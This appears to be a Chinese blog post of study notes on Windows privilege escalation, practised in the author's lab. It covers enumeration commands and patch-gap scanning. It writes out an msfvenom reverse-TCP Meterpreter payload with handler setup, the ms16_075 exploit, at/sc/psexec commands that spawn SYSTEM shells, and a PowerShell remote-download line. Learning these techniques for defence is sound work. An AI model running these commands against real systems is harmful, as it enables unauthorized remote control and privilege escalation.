Day59权限提升-win溢出漏洞AT&SC&ps提权

针对Windows系统个人主流操作系统是win7/8/10等等,针对服务器就win2003和2008比较多,

明确权限提升问题,web和本地:

举个例子,现在获得了一个网站权限,这个权限只可以对网站自身的东西进行操作,而你需要对服务器操作,这个时候需要进行服务器提权,获取当前系统的权限,是管理用户,这种提权叫做web提权,借助web权限提升到系统权限,是在拿下网站权限之后的操作。

本地:比如我们Windows用户有很多用户,普通用户和管理用户,有一些东西普通用户操作不了,而我们需要操作,需要通过普通用户,提升到或者拿下管理用户的权限,这就叫做本地提权,是基于本地就有一个普通用户权限,不是基于web。

本地提权成功率很高,web就要低一些,web的权限比本地用户权限要低一些。

必备知识:

系统命令
命令    描述
systeminfo    打印系统信息
whoami    获得当前用户名
whoami /priv    当前账户权限
ipconfig    网络配置信息
ipconfig /displaydns    显示DNS缓存
route print    打印出路由表
arp -a    打印arp表
hostname    主机名
net user    列出用户
net user UserName    关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName    连接SMB
net localgroup    列出所有组
net localgroup GROUP    关于指定组的信息
net view \127.0.0.1    会话打开到当前计算机
net session    开放给其他机器
netsh firewall show config    显示防火墙配置
DRIVERQUERY    列出安装的驱动
tasklist /svc    列出启动的服务
dir /s foo    在目录中搜索指定字符的项目
dir /s too==bar    同上
net start    列出启动的服务
sc query    列出所有服务
sc qc ServiceName    找到指定服务的路径
shutdown /r /t 0    立即重启
type file.txt    打印出内容
icacls “C\Example”    列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn    列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”)    利用ps远程下载文件到本地
accesschk.exe -qwsu “Group”    修改对象(尝试Everyone,Authenticated Users和/或users)
这个需要自己了解。

system权限和Administrator权限是两个回事,system是系统权限,Administrator是管理用户权限,这个区别就是装操作系统的文件夹,Administrator是没有删除的权限,因为Administrator要引用到他,不能进行删除操作,而system就可以。

案例一:基于 WEB 环境下的权限提升-阿里云靶机 

这里我用我自己的phpstudy,php5.4.45环境,冰蝎后门链接命令执行作为演示

现在这个用户的权限添加用户就会报错

好吧,我这个电脑有问题,不光没有本地用户组,还不能添加新用户,然后在网搜教程新加了一个测试用户,就只有凑活着看吧,win+r 输入control userpasswords2

whoami /priv看一下这个用户能做的事情,查看当前用户权限

systeminfo 显示系统信息

systeminfo > 1.txt  将系统信息打印到1.txt文件里面

跟写入shell的地方,在同一个地址,换一下名字就可以查看

2.  提权操作流程:信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手 

检测Windows安全缺陷工具wesng

这个工具,第一次使用会提示使用一条命令创建漏洞库出来。然后他会对比systeminfo打印的数据对比筛选,对比补丁的漏洞编号,

第一次用及输入个,python3 wes.py --update

就在目录下生成了vuln.csv的文件

这里就是可能存在漏洞。

这个可以在webshell里面使用,只需要主席systeminfo,然后把返回的信息打印出来,放在自己电脑上,然后直接对他进行扫描就行了。

#windowsVulScan

这里需要先运行  powershell  这个编译器

然后使用

打开生成的文件看

发现是这个,这个直接systeminfo,按这个格式写进去对应的信息,就不要在webshell执行powershell编译器了,正常的webshell也执行不了powershell,所以就是克服了这个困难。

然后

直接看着选项解释使用

正常回显是只有,因为我的电脑没有什么漏洞,所以exp没有信息。

#获取到相关漏洞编号的操作 

第一方法是直接用msf提权(优先选用)

因为msf是专门提权的工具,而且是会更新的,可能半年更新一次,然后收录提权漏洞的。在没有的情况下,再去搜索指定的exp。

第二个方法就是用指定的exp,直接github里面搜索cve的编号

解决虚拟机不能复制粘贴

在虚拟机没有办法复制粘贴文件,是因为没有安装vmtools。

安装这个久就可以了。

 案例web环境下的权限提升

msf,我们在利用的时候针对的都是外网的主机,一般msf提权,会有一个反弹,反弹到会话到主机。因为我们是本机,本机都在内网,他要反弹到内网主机,还要做端口映射,这是很麻烦的事情,所以建议买一个服务器装msf。

我是买不起,就用的虚拟机和虚拟靶机

先生成一个exe文件

msfvenom -p windows/meterpreter/reverse_tcp LPORT=5566(监听端口) LHOST=192.168.0.16(本机ip) -f exe(输出文件类型) -o test.exe(保存exp为test.exe)

---进入监听模块:use exploit/multi/handler 

---设置payload反弹:set payload windows/meterpreter/reverse_tcp 

---设置LHOST(0.0.0.0什么都监听)、LPORT参数(监听5566端口) 

然后把exe文件上传到靶机运行

这个exe执行之后会反弹到192.168.0.16上的5566端口,

输入getuid看一下是什么用户

因为我是靶机做的,也没有什么网站,所以回显管理用户

然后就在主机获取到的包里面选择一个exp使用

然后就随便搜索一个,我这个是靶机不可能复现成功

use windows/local/ms16_075_reflection_juicy   来到这个exp

show optings 查看需要配置得信息

background查看session会话号

设置会话号,设置payload,设置端口

这是老师演示的正常的

开打直接拿下系统权限。

基于本地环境下的权限提升-系统溢出漏洞

 

这个是我自己搭建的win2016靶场,把需要的提权文件放到靶机里面

直接点击运行他

就实现了提权很简单。

然后有一些webshell不能执行exe文件,原因后面补充,会有这个并不适用webshell,因为这个是最后弹窗一个新的命令提示符是系统权限,而webshell只会回显结果,并不会弹窗,

基于本地环境下的权限提升-AT&SC&PS 命令

1.  at提权(针对win7之前(2008之后)的操作系统)

---相关命令:

---at 21:26 /interactive cmd.exe //给系统添加一项作业,在21:26打开 

然后到了时间就会出现一个弹窗

这是win的一个逻辑漏洞,这个计划运行的时候,会system调用执行,

2.  sc提权

---使用sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):

 sc Create syscmd binPath= "cmd /K start" type= own type= interact 

然后在启动他就是system权限

而这两个的作用,就可以很简单的让一个普通用户得到系统权限,而不需要用麻烦的溢出的漏洞,这个就只需要两条命令。

3.  ps提权

--- pstools是微软官方工具,是为windows提供的第三方工具库:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

--- psexec.exe -accepteula -s -i -d cmd.exe 

先来到这个目录下,然后执行命令就可以

弹出窗口

system权限就拿到了。win2016也可以。

总结

案列一,演示的是溢出漏洞提权,思路是先利用systeminfo进行信息收集,然后开始筛选漏洞出来,然后用特有工具或者exp,拿下西瓜。

案例二,有一些提权是不适应webshell,这也是为什么本地提权比web提权大的原因,一些运行画家和数据的回显状态,成功几率就会低。有些漏洞就只适合在本地提权。

案列三,有一些不是漏洞,但也能提权,有操作系统版本上的区别。是对面系统上的设计逻辑造成的问题。第三方提权。

fa

cai

  • 25
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C语言是一种广泛使用的编程语言,它具有高效、灵活、可移植性强等特点,被广泛应用于操作系统、嵌入式系统、数据库、编译器等领域的开发。C语言的基本语法包括变量、数据类型、运算符、控制结构(如if语句、循环语句等)、函数、指针等。在编写C程序时,需要注意变量的声明和定义、指针的使用、内存的分配与释放等问题。C语言中常用的数据结构包括: 1. 数组:一种存储同类型数据的结构,可以进行索引访问和修改。 2. 链表:一种存储不同类型数据的结构,每个节点包含数据和指向下一个节点的指针。 3. 栈:一种后进先出(LIFO)的数据结构,可以通过压入(push)和弹出(pop)操作进行数据的存储和取出。 4. 队列:一种先进先出(FIFO)的数据结构,可以通过入队(enqueue)和出队(dequeue)操作进行数据的存储和取出。 5. 树:一种存储具有父子关系的数据结构,可以通过中序遍历、前序遍历和后序遍历等方式进行数据的访问和修改。 6. 图:一种存储具有节点和边关系的数据结构,可以通过广度优先搜索、深度优先搜索等方式进行数据的访问和修改。 这些数据结构在C语言中都有相应的实现方式,可以应用于各种不同的场景。C语言中的各种数据结构都有其优缺点,下面列举一些常见的数据结构的优缺点: 数组: 优点:访问和修改元素的速度非常快,适用于需要频繁读取和修改数据的场合。 缺点:数组的长度是固定的,不适合存储大小不固定的动态数据,另外数组在内存中是连续分配的,当数组较大时可能会导致内存碎片化。 链表: 优点:可以方便地插入和删除元素,适用于需要频繁插入和删除数据的场合。 缺点:访问和修改元素的速度相对较慢,因为需要遍历链表找到指定的节点。 栈: 优点:后进先出(LIFO)的特性使得栈在处理递归和括号匹配等问题时非常方便。 缺点:栈的空间有限,当数据量较大时可能会导致栈溢出。 队列: 优点:先进先出(FIFO)的特性使得

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值